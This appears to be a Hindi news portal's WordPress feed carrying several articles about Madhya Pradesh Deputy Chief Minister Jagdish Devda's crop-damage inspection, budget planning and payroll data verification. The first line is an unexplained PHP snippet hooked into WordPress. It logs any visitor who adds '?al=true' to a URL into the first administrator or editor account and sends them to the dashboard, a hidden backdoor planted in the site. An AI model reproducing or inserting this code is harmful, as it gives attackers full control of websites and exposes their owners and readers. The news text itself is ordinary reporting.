// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Deputy Chief Minister Devda – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Wed, 04 Feb 2026 16:11:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 उप मुख्यमंत्री देवड़ा ने किया ओलावृष्टि प्रभावित फसलों का निरीक्षण https://pratyushaashakinayikiran.com/?p=195551 Wed, 04 Feb 2026 16:11:00 +0000 https://pratyushaashakinayikiran.com/?p=195551 भोपाल.

उप मुख्यमंत्री श्री जगदीश देवड़ा ने बुधवार को मंदसौर जिले के मल्हारगढ़ विधानसभा क्षेत्र के ग्राम कित्तुखेड़ी, गोपालपुरा, लोहाखेड़ा, झारड़ा एवं अड़मालिया में ओलावृष्टि से प्रभावित फसलों का निरीक्षण किया और किसानों से संवाद किया। उन्होंने कहा कि इस कठिन समय में राज्य सरकार पूरी संवेदना के साथ किसानों के साथ खड़ी है और हर संभव सहायता के लिए प्रतिबद्ध है। मुख्यमंत्री डॉ. मोहन यादव जी के नेतृत्व में फसल नुकसान का शीघ्र सर्वे कराकर राहत प्रदान की जाएगी।

निरीक्षण के दौरान उप मुख्यमंत्री श्री देवड़ा ने किसानों से कहा कि सरकार सभी प्रभावित क्षेत्रों के हर खेत पर जाकर सर्वे किया जाएगा, इसके लिए अधिकारियों को स्पष्ट निर्देश जारी कर दिए गए। उन्होंने कहा कि अधिकारी खेतों तक पहुँच कर वास्तविक स्थिति का आंकलन कर रहे हैं अफीम खेती के संबंध में नारकोटिस विभाग भी मौके पर जाकर खेतों का निरीक्षण करेंगे। साथ ही केन्द्र सरकार से चर्चा कर आवश्यक कार्यवाही की जाएगी। फसल बीमा के मामले में भी किसानों को फसल का पूरा लाभ प्रदान किया जाएगा।

उप मुख्यमंत्री श्री देवड़ा ने कहा कि इस प्राकृतिक आपदा की इस कठिन घड़ी में सरकार किसानों की हर चिंता और दुख में इनके साथ है। निरीक्षण दौरान जिला योजना समिति के सदस्य श्री राजेश दीक्षित सहित अधिकारी एवं बड़ी संख्या में किसान उपस्थित रहे।

 

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विकास, विश्वास और दूरदर्शिता के साथ आगे बढ़ रहा है मध्यप्रदेश : उप मुख्यमंत्री देवड़ा https://pratyushaashakinayikiran.com/?p=194551 Tue, 27 Jan 2026 16:52:00 +0000 https://pratyushaashakinayikiran.com/?p=194551 भोपाल
उप मुख्यमंत्री श्री जगदीश देवड़ा ने कहा है कि शासन का मूल उद्देश्य जनता की सेवा है। सत्ता में रहकर यदि जनता के कार्य न किए जाएँ, तो सत्ता का कोई औचित्य नहीं रह जाता। यही भावना वर्तमान राज्य सरकार के प्रत्येक निर्णय की आधारशिला है। उप मुख्यमंत्री श्री देवड़ा ने मंगलवार को एक निजी चैनल को दिये साक्षात्कार में मध्यप्रदेश की आर्थिक प्रगति, राज्य सरकार के 2 वर्षों की उपलब्धियों, आगामी बजट दृष्टि, स्वास्थ्य, शिक्षा, सिंचाई, सड़क कनेक्टिविटी तथा जनकल्याणकारी योजनाओं पर विस्तार से अपने विचार रखे।

मुख्यमंत्री डॉ. मोहन यादव के नेतृत्व की सराहना करते हुए उप मुख्यमंत्री श्री देवड़ा ने कहा कि बीते 2 वर्षों में प्रदेश ने विकास का नया अध्याय लिखा है। इस अवधि में रोजगार सृजन, ग्रामीण एवं शहरी कनेक्टिविटी, शिक्षा ढांचे के विस्तार, सिंचाई सुविधाओं के व्यापक विकास तथा बुनियादी अधोसंरचना में उल्लेखनीय प्रगति हुई है। उन्होंने कहा कि यह विकास यात्रा जनता के विश्वास की शक्ति से आगे बढ़ रही है।

आगामी बजट, जनभागीदारी और दूरदर्शिता पर आधारित
उप मुख्यमंत्री श्री देवड़ा ने बताया कि राज्य सरकार आगामी वित्तीय वर्ष के लिए अधिक परिणाम वाले बजट ढांचे की दिशा में कार्य कर रही है। यह बजट केवल आंकड़ों का दस्तावेज नहीं होगा, बल्कि जनता की मूलभूत आवश्यकताओं पर आधारित विकास का रोडमैप बनेगा। उन्होंने कहा कि सरकार भविष्य में रोलिंग बजट प्रणाली लागू करने की दिशा में भी कार्य कर रही है, जिससे योजनाओं को लचीला और परिणाम-केंद्रित बनाया जा सके। साथ ही, जनता से सुझाव लेकर उन्हें बजट प्रक्रिया का हिस्सा बनाया जा रहा है।

केंद्र के साथ प्रभावी समन्वय
उप मुख्यमंत्री श्री देवड़ा ने जानकारी दी कि वे हाल ही में दिल्ली में केंद्रीय वित्त मंत्री श्रीमती निर्मला सीतारमण के साथ प्री-बजट बैठक में सम्मिलित हुए, जहाँ उन्होंने मध्यप्रदेश की विकास आवश्यकताओं को मजबूती से रखा। विशेष रूप से आगामी सिंहस्थ/कुंभ आयोजन से जुड़े पूंजीगत विकास कार्यों के लिए लगभग 2000 करोड़ रुपये के प्रावधान का विषय प्रमुखता से उठाया गया।

विकसित भारत@2047 में मध्यप्रदेश की अग्रणी भूमिका
उप मुख्यमंत्री श्री देवड़ा ने कहा कि प्रधानमंत्री श्री नरेन्द्र मोदी का “विकसित भारत@2047” का संकल्प देश के भविष्य की दिशा तय करने वाला है। मध्यप्रदेश इस राष्ट्रीय लक्ष्य की प्राप्ति में अग्रणी भूमिका निभाने के लिए पूरी तरह प्रतिबद्ध है।

स्वास्थ्य, सिंचाई और कनेक्टिविटी में ऐतिहासिक बदलाव
उप मुख्यमंत्री श्री देवड़ा ने कहा कि स्वास्थ्य क्षेत्र में प्रदेश की तस्वीर तेजी से बदली है। प्रत्येक जिले में स्वास्थ्य ढांचा मजबूत किया जा रहा है और चिकित्सा शिक्षा का विस्तार हो रहा है। आयुष्मान भारत योजना गरीबों के लिए वरदान सिद्ध हुई है, जिससे लाखों परिवारों को मुफ्त इलाज का लाभ मिल रहा है। सिंचाई के क्षेत्र में योजनाबद्ध विस्तार से खेतों तक पानी पहुँचा है, कृषि उत्पादन बढ़ा है और किसानों की आय में सुधार हुआ है। वहीं सड़क और कनेक्टिविटी विकास की वास्तविक तस्वीर प्रस्तुत कर रही है। शिक्षा और बच्चों से संवाद सरकार की प्राथमिकतता। उप मुख्यमंत्री श्री देवड़ा ने कहा कि बच्चों से संवाद कर उनकी आवश्यकताओं को समझना सरकार की प्राथमिकता है। विद्यार्थियों को बेहतर वातावरण, संसाधन और अवसर उपलब्ध कराना सरकार की जिम्मेदारी है।

कर व्यवस्था पर स्पष्ट संदेश
उप मुख्यमंत्री श्री देवड़ा ने स्पष्ट किया कि जनता से लिया गया कर जनता की सुविधाओं और विकास कार्यों पर ही खर्च किया जाता है। सरकार का हर निर्णय जनहित केंद्रित है। उन्होंने कहा कि मध्यप्रदेश विकास, सुशासन और पारदर्शिता के साथ निरंतर प्रगति के पथ पर अग्रसर है।

 

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डिप्टी सीएम जगदीश देवड़ा ने कहा डाटा अपडेशन नहीं करने वाले अधिकारियों पर होगी कार्रवाई, दिए निर्देश https://pratyushaashakinayikiran.com/?p=162963 Wed, 11 Jun 2025 09:46:00 +0000 https://pratyushaashakinayikiran.com/?p=162963 भोपाल
उप मुख्यमंत्री एवं वित्त मंत्री जगदीश देवड़ा ने प्रदेश के सभी कर्मचारियों के डाटा को समय पर अपडेट करने के निर्देश जिम्मेदार अधिकारियों को दिये हैं। उन्होंने निर्देशित किया है कि डाटा अपडेशन में देरी पर संबंधित डीडीओ की जिम्मेदारी तय की जाए। उप मुख्यमंत्री ने बताया कि डाटा क्लीनिंग एक्सरसाइज एक सतत् प्रक्रिया है, जिससे सेवानिवृत्त होने वाले, प्रतिनियुक्ति पर रहने वाले कर्मचारियों, मृत कर्मचारियों एवं अन्य विभिन्न स्थितियों में अन्य स्थानों पर कार्य करने वाले कर्मचारियों का डाटा अपडेट किया जाता है। 

उन्होंने बताया कि प्रदेश के कर्मचारियों का डाटा सत्यापन किया गया है और अभी तक कोई भी कर्मचारी संदिग्ध नहीं पाया गया है अर्थात किसी भी कर्मचारी को किसी भी प्रकार से कोई भी आर्थिक लाभ नियमों के विपरीत नहीं मिला है। उप मुख्यमंत्री देवड़ा ने बताया कि डाटा क्लीन करने की प्रक्रिया के बाद IFMIS NEXT GEN मे Data Migration करना सुविधाजनक होगा। इससे शुद्ध डाटा की फीडिंग हो सकेगी।

उप मुख्यमंत्री देवड़ा ने बताया कि प्रदेश में आयुक्त कोष एवं लेखा द्वारा गठित स्टेट फाइनेंशियल इंटेलिजेंस सेल (SFIC) द्वारा विभिन्न डाटा सेट्स का परीक्षण तथा विश्लेषण निरंतर हो रहा है। सरकार द्वारा सुशासन के दृष्टिगत की जाने वाली कार्यवाही में IFMIS डाटा से संज्ञान में आया कि प्रदेश में 36 हजार 26 नियमित, 8 हजार 784 गैर नियमित कुल मिलाकर 44 हजार 810 कर्मचारियों का वेतन आहरित नहीं किया गया है। शासन स्तर से वेतन आहरण नहीं होने के कारणों का पता लगाने के लिये निर्देश जारी किये गये। संभावित कारणों की पड़ताल होने पर जांच में सामने आया कि त्यागपत्र देने वाले कर्मचारी, सेवानिवृत्त होने वाले कर्मचारी, प्रतिनियुक्ति पर जाने वाले कर्मचारी,बगैर एम्पलाई कोड वाले कर्मचारी और मृत कर्मचारियों का डाटा समय पर अपडेट नहीं होने से कर्मचारियों का डाटा मिसमेच हुआ है। शासन स्तर से इनकी वास्तविक संख्या ज्ञात करते हुए IFMIS में DDO तथा कोषालय अधिकारी स्तर से डेटाबेस में आवश्यक अपडेट कराने के उद्देश्य से समस्त DDO से जानकारी कोषालय अधिकारियों के माध्यम से एकत्रित कर भविष्य में सभी प्रविष्टियां समय पर करने के निर्देश दिये गये हैं।

आयुक्त कोष एवं लेखा ने बताया है कि इस सन्दर्भ में ऐसे नियमित एवं गैर नियमित कर्मचारियों की डाटा सम्बन्धी जानकारी प्राप्त की गई है, जिनका वेतन IFMIS  कोषालय प्रणाली से आहरित नहीं हुआ है, (यह अन्य किसी प्रणाली से आहरित हो सकता है यथा प्रतिनियुक्ति, स्थानीय निकाय आदि)। इसके साथ अन्य संभावित कारणों को DDO के माध्यम से एकत्रित किया गया है। आयुक्त कोष एवं लेखा ने बताया कि प्रथम दृष्टया DDO से सत्यापन उपरांत जानकारी विश्लेषण करने पर अभी तक कोई संदिग्ध कर्मचारी परिलक्षित नहीं हुआ है। समस्त DDO को एम्पलाई कोड के समक्ष उपयुक्त flagging करने तथा एग्जिट एंट्री इत्यादि के माध्यम से डेटाबेस अद्यतन करने के निर्देश दिये गये हैं।

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सतत विकास लक्ष्यों को हासिल करने में मध्यप्रदेश प्रतिबद्ध – उप मुख्यमंत्री देवड़ा https://pratyushaashakinayikiran.com/?p=124558 Thu, 23 Jan 2025 16:36:00 +0000 https://pratyushaashakinayikiran.com/?p=124558 भोपाल

उप मुख्यमंत्री जगदीश देवड़ा ने सतत् विकास लक्ष्यों को हासिल करने में मध्यप्रदेश की प्रतिबद्धता दोहराते हुए कहा है कि प्रधानमंत्री नरेन्द्र मोदी के नेतृत्व में "सबका साथ, सबका विकास, सबका विश्वास, सबका प्रयास" के मूल विकास दर्शन से प्रेरित होकर विभिन्न सामाजिक विकास योजनाएँ लागू की जा रही हैं। उन्होंने कहा कि जिला और विकास खंड स्तर पर अब विकास के लक्ष्यों पर निगरानी रखने पर ध्यान दिया गया है।

उप मुख्यमंत्री देवड़ा सतत् विकास के लक्ष्यों के लिए निगरानी ढांचे, पर्यावरणीय आंकड़ों के संकलन और लिंग सांख्यिकी पर आयोजित क्षमता निर्माण पर कुशाभाऊ ठाकरे अंतर्राष्ट्रीय कन्वेंशन सेंटर में दो दिवसीय कार्यशाला को संबोधित कर रहे थे। कार्यशाला का आयोजन केन्द्रीय सांख्यिकी एवं कार्यक्रम क्रियान्वयन मंत्रालय और मप्र राज्य नीति आयोग द्वारा किया गया है। उन्होंने कहा कि पर्यावरणीय संतुलन के बिना विकास अधूरा है। विकास के लक्ष्य तय करने और उन्हें हासिल करने के लिए आंकड़ों की शुद्धता आवश्यक है। उप मुख्यमंत्री देवड़ा ने कहा कि सतत विकास के लक्ष्यों को हासिल करने के लिए सबके समन्वित प्रयासों की आवश्यकता है।

यूएन रीजनल कोऑर्डीनेटर शोम्बी शार्प, ने कहा कि भारत द्वारा सतत विकास के लक्ष्यों को हासिल करने की गति से यह आंकलन होगा कि दुनिया के अन्य देश कितनी जल्दी इन लक्ष्यों को हासिल कर पायेंगे। विकास के लिए शुद्ध आंकड़े सबसे महत्वपूर्ण हैं। उन्होंने कहा कि यूएन और मध्यप्रदेश और केन्द्रीय सांख्यिकी और कार्यक्रम क्रियान्वयन मंत्रालय के साथ त्रिपक्षीय समझौतों के साथ आगे बढ़ने की कोशिश हो रही है। इसमें पांच संगठन शामिल हैं – यूनीसेफ, यूनीडो, यूएनएफपीए, यूएन वूमन और यूएनडीपी। उन्होंने कहा कि सतत् विकास के लक्ष्यों को हासिल करने की गति को और तेज करने की आवश्यकता है।

मुख्य सचिव अनुराग जैन ने कहा कि विकास प्रक्रियाओं से संबंधित आंकड़ों का समय पर संकलन सबसे जरूरी है। इसके अलावा उनके बदलाव पर सतत निगरानी रखना और उनका समय समय पर विश्लेषण करना आवश्यक है। इससे नीति निर्माण प्रक्रिया न सिर्फ आसान बल्कि प्रभावी होगी। उन्होंने कहा कि "सबका साथ, सबका विकास, सबका विश्वास, सबका प्रयास" की मूल भावना नीति निर्माण प्रक्रिया का केन्द्र बिन्दु है। उन्होंने केन्द्र और राज्य की सर्वोच्च प्राथमिकता वाली योजनाओं का उल्लेख करते हुए कहा कि योजनाओं का सम्पूर्ण क्रियान्वयन होना चाहिए तभी अपेक्षित परिणाम मिलते हैं। मुख्य सचिव ने विकास की दृष्टि से पिछड़ रहे जिलों और विकास खंडों पर विशेष ध्यान देने की जरूरत बताई। उन्होंने कहा कि आंकड़ों का एकीकरण उतना ही जरूरी है जितना समय पर संकलन। उन्होने विकास के प्रयासों की प्रगति का आंकलन करने के लिए भी संकेतकों का विकास करने की आवश्यकता बताई। इसके अलावा मध्यप्रदेश जैसे प्राकृतिक संसाधनों से समृद्ध राज्यों के डेटा विश्लेषण और सामाजिक ढांचे के अनुसार बालिकाओं के सामाजिक आर्थिक और शैक्षणिक अधिकारों पर विशेष ध्यान देने की जरूरत है। मुख्य सचिव जैन ने कहा कि भोपाल देश का पहला शहर है, जिससे टाइगर रिजर्व जुड़ा हुआ है। उन्होंने भोपाल की झील, वन विहार और विश्व धरोहर का उल्लेख करते हुए अतिथियों से कहा इन स्थानों का भ्रमण जरूर करें।

प्रमुख सचिव योजना संजय शुक्ला ने कहा कि मध्यप्रदेश वन और जैव विविधता में सबसे समृद्ध राज्य है। बहुत से आरक्षित क्षेत्र हैं। मध्यप्रदेश वन अधिकारों के लिए काम कर रहा है। महिलाओं के सशक्तिकरण को बढ़ावा देने के लिए कई नीतिगत निर्णय ले रहा है और लिंग आधारित बजट बना रहा है। किसी व्यक्ति के लिए उपचार महत्वपूर्ण है, वैसे ही राज्य की प्रगति पर विभिन्न संकेतकों के माध्यम से निगरानी आवश्यक है। अन्य राज्यों से सीखना भी महत्वपूर्ण है। हमें ऐसे उपकरणों को विकसित करने की आवश्यकता है जो संकेतकों को वास्तविक समय में माप सकें।

केन्द्रीय सांख्यिकी और कार्यक्रम क्रियान्वयन मंत्रालय के सचिव डॉ. सौरभ गर्ग ने बताया कि देश के आर्थिक स्वास्थ्य को दिखाने के लिए आवश्यक सूचकांक प्रदान करता है, जो सामाजिक-आर्थिक नीतियों और बजट के विकास में मदद करता है। आंकड़ों पर आधारित निर्णय लेने, सटीकता में सुधार और सांख्यिकीय अनुमान में प्रौद्योगिकी के उपयोग को बढ़ावा देने के लिए काम किया जा रहा है। जिला और शहर स्तर पर भी आंकड़ों की तैयारी की जा रही है। जिला स्तर पर अनुमान राज्यों के साथ साझेदारी में तैयार किए जा सकते हैं। यह ग्रैन्युलर डेटा आधारित निर्णय लेने में सहायक होगा।

डीजी (केंद्रीय सांख्यिकी) एन के संतोषी ने अतिथियों और विभिन्न राज्यों से आए प्रतिभागियों का स्वागत किया। एडीजी एस.सी. मलिक ने प्रतिभागियों का आभार व्यक्त किया।

 

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भारत को विश्व की अग्रणी अर्थव्यवस्थाओं में लाने के लिए म.प्र. प्रतिबद्ध – उप मुख्यमंत्री देवड़ा https://pratyushaashakinayikiran.com/?p=112219 Sat, 21 Dec 2024 12:56:00 +0000 https://pratyushaashakinayikiran.com/?p=112219 भारत को विश्व की अग्रणी अर्थव्यवस्थाओं में लाने के लिए म.प्र. प्रतिबद्ध – उप मुख्यमंत्री देवड़ा

सिंहस्थ महापर्व आयोजन के लिए प्रावधान का अनुरोध – उप मुख्यमंत्री देवड़ा

केन्द्रीय करों में राज्य की हिस्सेदारी 41 प्रतिशत को बढ़ाया जाये – उप मुख्यमंत्री देवड़ा
केन्द्रीय वित्त मंत्री श्रीमती सीतारमन की अध्यक्षता में राज्यों के साथ हुई प्री-बजट मीटिंग

भोपाल
उप मुख्यमंत्री जगदीश देवड़ा ने कहा है कि मध्यप्रदेश सरकार प्रधानमंत्री नरेन्द्र मोदी के नेतृत्व में भारत को समग्र रूप से विकसित करने तथा विश्व की अग्रणी अर्थव्यवस्थाओं की श्रेणी में लाने के लिए समर्पित और प्रतिबद्ध है। उन्होंने कहा कि मुख्यमंत्री डॉ. मोहन यादव के मार्गदर्शन में कुशल वित्तीय प्रबंधन के परिणामस्वरूप प्रदेश राजस्व आधिक्य की स्थिति में है।

उप मुख्यमंत्री देवड़ा ने उज्जैन में 2028 में आयोजित होने वाले सिंहस्थ महापर्व की चर्चा करते हुए प्रदेश सरकार द्वारा सिंहस्थ क्षेत्र में सुनियोजित रूप से विकास व जन-सुविधाओं की व्यापक व्यवस्था के लिए आगामी बजट में 'सिंहस्थ' आयोजन के लिए विशेष प्रावधान का अनुरोध किया।

उप मुख्यमंत्री देवड़ा केन्द्रीय वित्त मंत्री श्रीमती निर्मला सीतारमन की अध्यक्षता में शुक्रवार को राजस्थान के जैसलमेर में राज्यों और केन्द्र शासित प्रदेशों के वित्त मंत्रियों के साथ हुई प्री-बजट मीटिंग में मध्यप्रदेश का प्रतिनिधित्व कर रहे थे।

उप मुख्यमंत्री देवड़ा ने कहा कि विशेष पूंजीगत सहायता योजना के संबंध में आम जनता के जीवन-यापन में सकारात्मक परिवर्तन भी हो रहा है। वित्तीय वर्ष 2022-23 में प्रदेश का कुल पूंजीगत व्यय रूपये 46 हजार 798 करोड़ था जो लगभग 23 प्रतिशत वृद्धि के साथ वर्ष 2023-24 में रूपये 57 हजार 348 करोड़ रहा है। उन्होंने कहा कि वर्ष 2024-25 में लगभग रूपये 64 हजार 738 करोड़ का पूंजीगत व्यय अनुमानित है। वर्ष 2024-25 के लिए रूपये 6 हजार 187 करोड़ 73 लाख की राशि प्रदान करने के लिए केन्द्र सरकार को धन्यवाद दिया।

उप मुख्यमंत्री देवड़ा ने राज्य की ओर से बजट की तैयारी से संबंधित सुझाव देते हुए कहा कि केन्द्र और राज्य सरकार द्वारा सामाजिक सुरक्षा पेंशन के अंतर्गत वित्त पोषित राष्ट्रीय वृद्धावस्था पेंशन, राष्ट्रीय विधवा पेंशन एंव राष्ट्रीय नि:शक्त पेंशन योजनाओं में वित्त पोषण की वर्तमान व्यवस्था पर पुनर्विचार की आवश्यकता है। उन्होंने कहा कि वर्ष 2014 से 2024 के मध्य प्रतिवर्ष 0.29 प्रतिशत से लेकर 0.44 प्रतिशत तक की जीवन-प्रत्याशा में वृद्धि हुई है। योजनान्तर्गत हितग्राहियों की वर्तमान पंजीबद्ध संख्या 24 लाख 14 हजार से बढ़कर 29 लाख 43 हजार होना अनुमानित है। केन्द्र सरकार द्वारा मात्र 15 लाख 75 हजार हितग्राहियों के मान से ही वित्त पोषण किए जाने से राज्य सरकार को अतिरिक्त व्यय वहन करना पड़ रहा है। वर्ष 2013-14 में योजना के हितग्राहियों की संख्या की अधिकतम सीमा के पुनरीक्षण पर विचार किया जाना चाहिए।

जल जीवन मिशन की शेष राशि जारी करने का आग्रह

जल जीवन मिशन योजना के लिये उप मुख्यमंत्री देवड़ा ने कहा कि केन्द्र से मिशन की दूसरी किश्त की द्वितीय व तृतीय ट्रेंच की राशि रूपये 1 हजा़र 422 करोड़ की राशि प्राप्त नहीं होने से राज्य सरकार ने स्वयं के स्त्रोतों से योजनाओं के कार्यों को जारी रखा है। वर्ष 2024-25 में इन कार्यों के लिए रूपये 17 हजा़र करोड़ की आवश्यकता अनुमानित है, जिसमें केन्द्र की सहभागिता के अनुसार प्रदेश को रूपये 8 हजा़र 500 करोड़ की राशि भारत सरकार से अपेक्षित है। उन्होंने केन्द्रांश के लिए रूपये 4 हजा़र 456 करोड़ का अतिरिक्त प्रावधान करने और द्वितीय किश्त की शेष राशि रूपये 1 हजा़र 422 करोड़ उपलब्ध कराने का आग्रह किया।

खाद्यान्न उपार्जन की लागत के व्ययों की प्रतिपूर्ति दरों का पुनर्निर्धारण

उप मुख्यमंत्री देवड़ा ने कहा कि उपार्जन में विभिन्न मदों जैसे निराश्रित शुल्क, मण्डी लेबर व्यय, परिवहन व्यय, सोसायटी को कमीशन, ब्याज, भण्डारण व्यय, मिलर्स को प्रोत्साहन, बारदाना लागत आदि में किए जा रहे व्ययों तथा केन्द्र द्वारा निर्धारित दरों में अन्तर है। केन्द्र के स्तर पर दरों का पुनरीक्षण नहीं होने से सभी मदों में राज्य सरकार पर अतिरिक्त व्यय भार आ गया है। इस परिप्रेक्ष्य में केन्द्र से दरों के शीघ्र पुनरीक्षण अनुरोध है।

ग्रामीण सड़कों के निर्माण, महात्मा गांधी राष्ट्रीय ग्रामीण रोजगार योजना एवं स्वच्छ भारत मिशन जैसे जन-सुविधाओं के कार्यक्रमों में मध्यप्रदेश के निरन्तर सराहनीय प्रदर्शन का उल्लेख करते हुए उपमुख्यमंत्री देवड़ा ने ग्रामीण सड़कों की लम्बाई के मान से सड़कों के संधारण व रख-रखाव के लिए 60 व 40 प्रतिशत के अनुपात में केन्द्र से वित्तीय सहभागिता का अनुरोध किया।

उप मुख्यमंत्री देवड़ा ने कहा कि महात्मा गांधी राष्ट्रीय ग्रामीण रोजगार योजना में केन्द्र सरकार द्वारा अधिसूचित मजदूरी दर, कृषि श्रमिकों के लिए अधिसूचित मजदूरी दर से कम है। इसके परिणामस्वरूप मजदूरी नियोजन में कमी आई है। केन्द्र सरकार से प्रशासनिक मद में व्यय की 6 प्रतिशत राशि की सीमा को बढ़ाया जाना चाहिए। उन्होंने कहा कि प्रदेश के अनुसूचित जनजाति वर्ग के उत्थान एवं जीवन सुधार के मद्देनजर एक वर्ष में 100 दिवस के रोजगार की बजाय 150 दिवस के रोजगार की गारण्टी का प्रावधान करने का आग्रह किया। प्रधानमंत्री कृषि सिंचाई योजना में वर्षा आधारित कृषि क्षेत्रों और भू-जल स्तर की गिरावट वाले क्षेत्रों में जल संरक्षण एवं संवर्धन के लिए वाटर शेड विकास परियोजनाओं के विकास के लिए बजट में विशेष रूप से प्रावधान करने का अनुरोध किया।

उप मुख्यमंत्री देवड़ा ने मध्यप्रदेश द्वारा आर्थिक दायित्वों के सराहनीय निर्वहन का उल्लेख करते हुए केन्द्रीय करों में राज्य सरकार की वर्तमान हिस्सेदारी 41 प्रतिशत को बढ़ाये जाने की बात कही।

 

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आईएफएमआईएस में कर्मचारियों का प्रोफाइल समग्र आईडी से सत्यापित एवं आधार से होगा लिंक : उप मुख्यमंत्री देवड़ा https://pratyushaashakinayikiran.com/?p=110717 Tue, 17 Dec 2024 09:16:00 +0000 https://pratyushaashakinayikiran.com/?p=110717 भोपाल

उप मुख्यमंत्री जगदीश देवड़ा ने कहा है कि सभी शासकीय अधिकारी-कर्मचारियों के डाटा का सत्यापन आईएफएमआईएस के तहत समग्र आईडी से सत्यापित किया जायेगा। साथ ही शासकीय सेवकों का वेतन भुगतान आधार सक्षम भुगतान प्रणाली (एईपीएस) के माध्यम से होगा। इस व्यवस्था में सभी शासकीय सेवकों का दायित्व होगा कि वे आईएफएमआईएस के अंतर्गत एम्प्लाई सेल्फ सर्विस प्रोफाइल के माध्यम से अपनी समग्र आईडी की प्रविष्टि कर जानकारी सत्यापित करना सुनिश्चित करें। आईएफएमआईएस में समग्र आईडी की प्रविष्टि करने की सुविधा प्रारंभ कर दी गई है।

एकीकृत वित्तीय प्रबंधन सूचना प्रणाली (आईएफएमआईएस) में समग्र आईडी की प्रविष्टि एवं सत्यापन से पूर्व समस्त शासकीय सेवकों द्वारा उनकी समग्र आईडी का पंजीयन/अद्यतन एवं आधार से लिंक समग्र पोर्टल के माध्यम से कराया जाना होगा। कर्मचारियों के वेतन प्राप्त करने वाले बैंक खातों को भी आधार से लिंक कराया जाना अनिवार्य होगा। इस संबंध में शासन के समस्त विभागों के बजट नियंत्रण अधिकारी एवं आहरण संवितरण अधिकारी यह सुनिश्चित करेंगे कि 28 फरवरी 2025 तक समस्त शासकीय सेवकों की समग्र आईडी की प्रविष्टि आईएफएमआईएस अंतर्गत एम्प्लाई प्रोफाइल में हो जाये। आईएफएमआईएस अंतर्गत बजट नियंत्रण अधिकारी/आहरण संवितरण अधिकारियों की लॉगइन पर मॉनिटरिंग हेतु रिपोर्ट उपलब्ध करायी जायेगी।

कर्मचारियों के डाटा के समग्र आईडी से सत्यापन कार्य के प्रथम चरण में नियमित शासकीय सेवकों के लिये समग्र आईडी के प्रविष्टि की कार्यवाही की जाना है। द्वितीय चरण में मानदेय/संविदा/दैनिक वेतनभोगी शासकीय सेवकों का भी सत्यापन एवं आधार से लिंक किया जायेगा। समग्र पोर्टल से संबंधित सहयोग/सहायता के लिए विज्ञान एवं प्रौद्योगिकी विभाग द्वारा निर्देश जारी कर दिये गये हैं। समग्र आईडी बनवाने/अद्यतन करवाने/सुधार करवाने संबंधी जानकारी/यूजर मैनुअल समग्र पोर्टल https://samagra.gov.in/ से प्राप्त किये जा सकते हैं।…पत्र के लिए क्लिक करें

 

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सभी के सुझावों से आगामी बजट बनेगा लोक कल्याणकारी: उप मुख्यमंत्री देवड़ा https://pratyushaashakinayikiran.com/?p=101091 Thu, 21 Nov 2024 09:45:00 +0000 https://pratyushaashakinayikiran.com/?p=101091 भोपाल

मुख्यमंत्री डॉ. मोहन यादव की मंशानुरूप प्रदेश के चहुँमुखी विकास और जन-कल्याण को दृष्टिगत रखते हुए वित्तीय वर्ष 2025-26 के बजट की तैयारियां शुरू कर दी गई है। बजट को अधिक लोक कल्याणकारी बनाने के लिये आमजन के सुझाव आमंत्रित किये जा रहे हैं। प्रदेश का आम नागरिक राज्य के बजट को प्रभावी बनाने अपने सुझाव साझा कर सकेंगे।

उप मुख्यमंत्री जगदीश देवड़ा ने कहा है कि प्रधानमंत्री नरेन्द्र मोदी के विकसित भारत @2047 के लक्ष्य में मध्यप्रदेश भी अपना योगदान देने के लिये अग्रसर है। मुख्यमंत्री डॉ. यादव के नेतृत्व में विकसित मध्यप्रदेश @2047 का विजन तैयार किया जा रहा है। निर्धारित लक्ष्यों की पूर्ति को ध्यान में रखते हुए प्रदेश के आगामी वित्तीय वर्ष 2025-26 का लोक कल्याणकारी बजट तैयार किया जायेगा।

उप मुख्यमंत्री देवड़ा ने बताया कि राज्य का बजट प्रदेश के सर्वांगीण विकास व आम नागरिकों के खुशहाल जीवन को साकार करने, सतत् विकास की गति बनाये रखने, आधारभूत सुविधाओं का विकास व सभी वर्गों के कल्याण में महत्वपूर्ण साधन रहा है। समाज के सभी वर्गों से प्राप्त सुझावों, मार्गदर्शन, प्राथमिकताओं आदि से प्रदेश का बजट, सर्वांगीण विकास की दिशा में बढ़ाया गया एक और महत्वपूर्ण कदम साबित होगा। प्रदेश की राजस्व आय में वृध्दि के सुझाव भी बजट को और अधिक लोक कल्याणकारी स्वरूप देने में सहयोगी होगे। MPMYGov पर सुझाव एवं मार्गदर्शन आमंत्रित किये गये हैं। सुझाव 15 जनवरी, 2025 तक लिये जायेंगे। सुझावों के साथ आम नागरिक अपना नाम, शहर, जिला, पिनकोड एवं मोबाइल नम्बर भी अंकित करे।

"आमजन निम्न मुख्य क्षेत्रों पर दे सकेंगे सुझाव"

    हरित ऊर्जा जैसे बायो गैस, सौर ऊर्जा, पवन ऊर्जा एवं सौर ऊर्जा संयंत्र स्थापित करने हेतु संभावित स्थलों के संबंध में।

    विद्युत ऊर्जा के क्षेत्र में गुणात्मक सुधार जैसे-स्मार्ट मीटर, एव्हरेज बिल की जगह एक्च्युअल बिल, विद्युत के पुराने तारों के स्थान पर केबल तार स्थापित करने, सडकों के मध्य आने वाले पोल को प्रतिस्थापित करने, अस्थाई विद्युत कनेक्शनों को स्थाई विद्युत कनेक्शनों में परिवर्तित करने हेतु तथ्यात्मक सुझाव।

    परिवहन के क्षेत्र में गुणात्मक सुधार हेतु सडकों (जिला मार्ग, राज्य मार्ग एवं अन्तर्राज्यीय मार्ग) के विकास हेतु तथ्यात्मक सुझाव एवं ई-परिवहन को बढावा देने हेतु सुझाव/विचार/प्रस्ताव।

    ग्रामीण विकास हेतु परंपरागत व्यवसायों के पुनर्रुध्दार, ग्रामीण क्षेत्रों में स्वच्छता, पेयजल एवं अधोसंरचनात्मक विकास हेतु तथ्यात्मक सुझाव।

    गौ-वंश के संवर्धन, सरंक्षण एवं गौचारण भूमि को अतिक्रमण से मुक्त कराने हेतु सुझाव।

